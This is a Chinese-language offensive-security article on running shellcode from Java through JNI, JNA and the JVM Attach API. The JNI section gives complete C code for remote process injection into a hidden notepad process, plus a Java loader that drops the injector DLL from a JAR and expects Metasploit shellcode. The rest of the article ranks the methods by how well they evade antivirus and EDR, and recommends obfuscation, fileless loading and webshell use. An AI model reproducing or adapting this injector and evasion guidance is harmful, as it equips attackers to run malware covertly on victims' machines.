java执行shellcode的几种方法
字数 1353 2025-08-10 00:24:04
Java执行Shellcode的几种方法详解
1. JNI方法
原理
Java通过JNI(Java Native Interface)调用本地C/C++函数来实现底层操作。我们需要编写一个C文件,按照JNI规范实现函数,然后编译为DLL供Java调用。
实现步骤
- 编写C文件:
/* inject some shellcode... enclosed stuff is the shellcode y0 */
void inject(LPCVOID buffer, int length) {
STARTUPINFO si;
PROCESS_INFORMATION pi;
HANDLE hProcess = NULL;
SIZE_T wrote;
LPVOID ptr;
char lbuffer[1024];
char cmdbuff[1024];
/* reset some stuff */
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
/* start a process */
GetStartupInfo(&si);
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.hStdOutput = NULL;
si.hStdError = NULL;
si.hStdInput = NULL;
/* resolve windir? */
GetEnvironmentVariableA("windir", lbuffer, 1024);
/* setup our path... choose wisely for 32bit and 64bit platforms */
#ifdef _IS64_
_snprintf(cmdbuff, 1024, "%s\\SysWOW64\\notepad.exe", lbuffer);
#else
_snprintf(cmdbuff, 1024, "%s\\System32\\notepad.exe", lbuffer);
#endif
/* spawn the process, baby! */
if (!CreateProcessA(NULL, cmdbuff, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
return;
hProcess = pi.hProcess;
if (!hProcess)
return;
/* allocate memory in our process */
ptr = (LPVOID)VirtualAllocEx(hProcess, 0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
/* write our shellcode to the process */
WriteProcessMemory(hProcess, ptr, buffer, (SIZE_T)length, (SIZE_T *)&wrote);
if (wrote != length)
return;
/* create a thread in the process */
CreateRemoteThread(hProcess, NULL, 0, ptr, NULL, 0, NULL);
}
- 编写Java调用代码:
import java.io.*;
public class Demo {
/* our shellcode... populate this from Metasploit */
byte shell[] = new byte[0];
public native void inject(byte[] me);
public void loadLibrary() {
try {
/* our file */
String file = "injector.dll";
/* determine the proper shellcode injection DLL to use */
if ((System.getProperty("os.arch") + "").contains("64"))
file = "injector64.dll";
/* grab our DLL file from this JAR file */
InputStream i = this.getClass().getClassLoader().getResourceAsStream(file);
byte[] data = new byte[1024 * 512];
int length = i.read(data);
i.close();
/* write our DLL file to disk, in a temp folder */
File library = File.createTempFile("injector", ".dll");
library.deleteOnExit();
FileOutputStream output = new FileOutputStream(library, false);
output.write(data, 0, length);
output.close();
/* load our DLL into this Java */
System.load(library.getAbsolutePath());
} catch (Throwable ex) {
ex.printStackTrace();
}
}
public Demo() {
loadLibrary();
inject(shell);
}
public static void main(String args[]) {
new Demo();
}
}
优缺点
优点:
- 直接调用系统API,功能强大
- 可以精确控制注入过程
缺点:
- 需要落地自定义DLL文件
- 自定义DLL没有签名,容易被杀软查杀
- 实现复杂,需要编写C代码
2. JNA方法
原理
JNA(Java Native Access)是第三方库,封装了JNI的复杂细节,可以直接调用DLL中的函数而无需编写C代码。
实现示例
// 示例代码参考APT组织CoffeeShot的实现
// 主要调用VirtualAllocEx等Windows API在目标进程中分配内存并执行shellcode
优缺点
优点:
- 无需编写C代码
- 调用DLL函数像调用Java方法一样简单
缺点:
- 需要集成JNA jar包,payload较大(1M+)
- JNA会生成JNI的DLL文件,该文件没有签名,可能被杀
- 仍然依赖本地库
3. JVM Attach API方法
原理
利用JDK提供的sun.tools.attach.WindowsVirtualMachine类,通过JVM的Attach机制注入shellcode。该方法使用的DLL由JDK提供,有Oracle签名。
实现步骤
- 检查类是否已加载:
// 判断JVM中是否已加载sun.tools.attach.WindowsVirtualMachine
- 使用Java ASM动态生成类:
// 通过ASM字节码技术动态生成需要的类
- 通过反射调用:
// 使用反射机制调用相关方法
优缺点
优点:
- 无需落地DLL文件
- 使用的DLL有Oracle数字签名
- payload体积小
- 适合集成到webshell管理工具中
缺点:
- 实现较为复杂
- 依赖特定JDK实现
总结对比
| 方法 | 是否需要C代码 | 是否需要DLL | DLL签名 | 实现复杂度 | payload大小 | 杀软检测风险 |
|---|---|---|---|---|---|---|
| JNI | 是 | 是(自定义) | 无 | 高 | 中等 | 高 |
| JNA | 否 | 是(JNA提供) | 无 | 中 | 大(1M+) | 中 |
| JVM Attach | 否 | 否(使用JDK) | 有 | 中高 | 小 | 低 |
推荐方案
- 隐蔽性要求高:使用JVM Attach API方法,利用JDK签名DLL
- 快速实现:使用JNA方法,虽然payload较大但实现简单
- 完全控制:使用JNI方法,可以完全自定义注入过程
注意事项
- 所有方法在实战中都需考虑目标环境(JRE版本、架构等)
- 注入行为可能触发EDR/杀软的行为检测
- 建议结合其他技术如混淆、加密等提高隐蔽性
- 在webshell等受限环境优先考虑无文件落地的方案
扩展思考
- 可以结合Java的反射和字节码技术动态修改注入逻辑
- 考虑使用内存中加载DLL的技术避免文件落地
- 针对不同杀软环境调整注入策略